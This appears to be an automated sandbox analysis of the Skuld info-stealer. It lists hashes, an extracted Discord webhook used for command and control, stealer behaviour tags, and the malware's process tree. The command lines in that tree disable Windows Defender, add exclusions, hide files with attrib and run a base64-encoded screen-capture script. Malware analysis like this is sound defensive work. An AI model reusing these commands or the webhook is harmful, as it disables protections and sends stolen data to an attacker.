Analysis

  • max time kernel
    150s
  • max time network
    111s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-10-2024 02:09

General

  • Target

    skuld.exe

  • Size

    9.8MB

  • MD5

    fe618ff70287d490bbc3907c6b96cfb5

  • SHA1

    66fcb9fe0fde6225a6176a7e6a548c244f2b369a

  • SHA256

    9cfedfaf229c04616557ceb03ba62a35f8f85d357f4899a52450fe5830e76880

  • SHA512

    d9f6685ea7c8cf75a73896f90a4e0577a9829565a289e7b09c671708bb694cbb13296f0786315ba710175be5b9d19c3454b4a434f8a590819f8408f4983168f8

  • SSDEEP

    98304:/dQrygchMRKooE0qqWdS5ELg3ZuEGTiBJZrZ6f/fLhQcR:/KMhMR4Nb5ELgJLPO/fLT

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1296277918661738547/GvUWEusnErfhpdvz7DEgE8VzXSZ8oWS_ujEIVSB0XhETe5iWx3tB8zm_wjAS1bJTlXLF

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1204
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:4360
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:208
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3440
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:3728
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1884
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4652
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3112
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mpstsa5d\mpstsa5d.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2848
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES971F.tmp" "c:\Users\Admin\AppData\Local\Temp\mpstsa5d\CSC96026226146748068755AF8F14E35B1F.TMP"
          4⤵
            PID:3580
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:1756
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:2160

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      77d622bb1a5b250869a3238b9bc1402b

      SHA1

      d47f4003c2554b9dfc4c16f22460b331886b191b

      SHA256

      f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

      SHA512

      d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      116c74852c74ceee47dacf6ddd82135f

      SHA1

      1f6056ba03a4b679a4163086e844945a7477445a

      SHA256

      bf31d7b80253049ac9f8485cddcb074ecdb1ee69f95c0c1a7d916e2c81f0355c

      SHA512

      8949362e2ed0fad6416d7de03fb3c0170521dda3a25952dc17003bac7b6ff976991fd959809e7b736d6199c5b7048d7339232e0b6a831b9031c90536adff3e11

    • C:\Users\Admin\AppData\Local\Temp\K26on21h9N\Display (1).png

      Filesize

      433KB

      MD5

      09e568863cff8034793134e0e6bf3ce6

      SHA1

      3bbfa841cf6e22da4737225c0f05b3e2303f26bc

      SHA256

      9a9ac92a232dd3f4b13f520e36f4d380c5ded90d2e1ee8919dd08c71ca97ace7

      SHA512

      30f7092c7c76aba6f261a18fe0323fb8a4a1ca0218db537d4c77a8555c36e9db5c3a3630581ac1fd8d0286cdb103195eda46544013cc1adb730ea722bd44bd35

    • C:\Users\Admin\AppData\Local\Temp\RES971F.tmp

      Filesize

      1KB

      MD5

      fa34987410dfaa8c206495fe1f035e31

      SHA1

      75689b3505aaa24d466e4d238e8b5b5b9c95b97f

      SHA256

      617ac9cffe5884dd70f82f54e35367b2be89a27f9434fa86a3f7edc07c9033da

      SHA512

      0cf07a4a70d1c3622bd52cf526ca16e2fd26b7baeaa4094a0b009f5a614a8f2249c3242b120b555025f8d91c8f24c07c27c7a62c65631e1747b2f56d8c4c8537

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hb153d4z.yju.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\mpstsa5d\mpstsa5d.dll

      Filesize

      4KB

      MD5

      cbefec3d52e3bca6687b82b91a42f9f8

      SHA1

      56d260106fa75bf8a296a0a7bd6401fc999cdd59

      SHA256

      40f2ece27c2bb5e66fa8434162368b4f72d5db2d8b63ac7b01a265736c584b19

      SHA512

      630a2bcd5d190127d04a2c126998eb4b825c386d1df829d28e0fde9ce7ec0118180624b79f50b209a60d901bee5a52058a9e6c77d3e4efaf6081963276a6bbf7

    • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

      Filesize

      9.8MB

      MD5

      fe618ff70287d490bbc3907c6b96cfb5

      SHA1

      66fcb9fe0fde6225a6176a7e6a548c244f2b369a

      SHA256

      9cfedfaf229c04616557ceb03ba62a35f8f85d357f4899a52450fe5830e76880

      SHA512

      d9f6685ea7c8cf75a73896f90a4e0577a9829565a289e7b09c671708bb694cbb13296f0786315ba710175be5b9d19c3454b4a434f8a590819f8408f4983168f8

    • C:\Windows\System32\drivers\etc\hosts

      Filesize

      2KB

      MD5

      6e2386469072b80f18d5722d07afdc0b

      SHA1

      032d13e364833d7276fcab8a5b2759e79182880f

      SHA256

      ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

      SHA512

      e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

    • \??\c:\Users\Admin\AppData\Local\Temp\mpstsa5d\CSC96026226146748068755AF8F14E35B1F.TMP

      Filesize

      652B

      MD5

      b6bb5fbfd351e69bce878d00ec31cbb9

      SHA1

      4fcfa6bea55973f2bef8d1b96ac5ca08abe4b115

      SHA256

      5f4b1814b0be7b034eaf7243864c55679e64b414797e524cb1998da07dcc995f

      SHA512

      c5eb4b3b8d49c331ce3794a4df5993514b1e3683d28a1e4f5260d2315750e419af8270c69cd668d10982a06be0c9958e3d20ab723ae16ee7a3ce2764cd30bb3e

    • \??\c:\Users\Admin\AppData\Local\Temp\mpstsa5d\mpstsa5d.0.cs

      Filesize

      1004B

      MD5

      c76055a0388b713a1eabe16130684dc3

      SHA1

      ee11e84cf41d8a43340f7102e17660072906c402

      SHA256

      8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

      SHA512

      22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

    • \??\c:\Users\Admin\AppData\Local\Temp\mpstsa5d\mpstsa5d.cmdline

      Filesize

      607B

      MD5

      fa8b09494ad3749d4a87e6aa023812e5

      SHA1

      6967b0d944530f57ea7bcd5d4ea521be84bbe0a4

      SHA256

      af7a8bdb34bb44a55474583b42fd214c4f1e898b6cddc3ff12fb87f98585a1a6

      SHA512

      2192935844bc7fbc9946903c3c82077f8a1be0b6b810330beade22631329e997e0f6a03877df376684be4ef241746fed427696578870cd2456d6d2766de83d80

    • memory/208-0-0x00007FFE304F3000-0x00007FFE304F5000-memory.dmp

      Filesize

      8KB

    • memory/208-22-0x00007FFE304F0000-0x00007FFE30FB1000-memory.dmp

      Filesize

      10.8MB

    • memory/208-15-0x00007FFE304F0000-0x00007FFE30FB1000-memory.dmp

      Filesize

      10.8MB

    • memory/208-14-0x00007FFE304F0000-0x00007FFE30FB1000-memory.dmp

      Filesize

      10.8MB

    • memory/208-3-0x000001782F0C0000-0x000001782F0E2000-memory.dmp

      Filesize

      136KB

    • memory/3112-62-0x00000224238B0000-0x00000224238B8000-memory.dmp

      Filesize

      32KB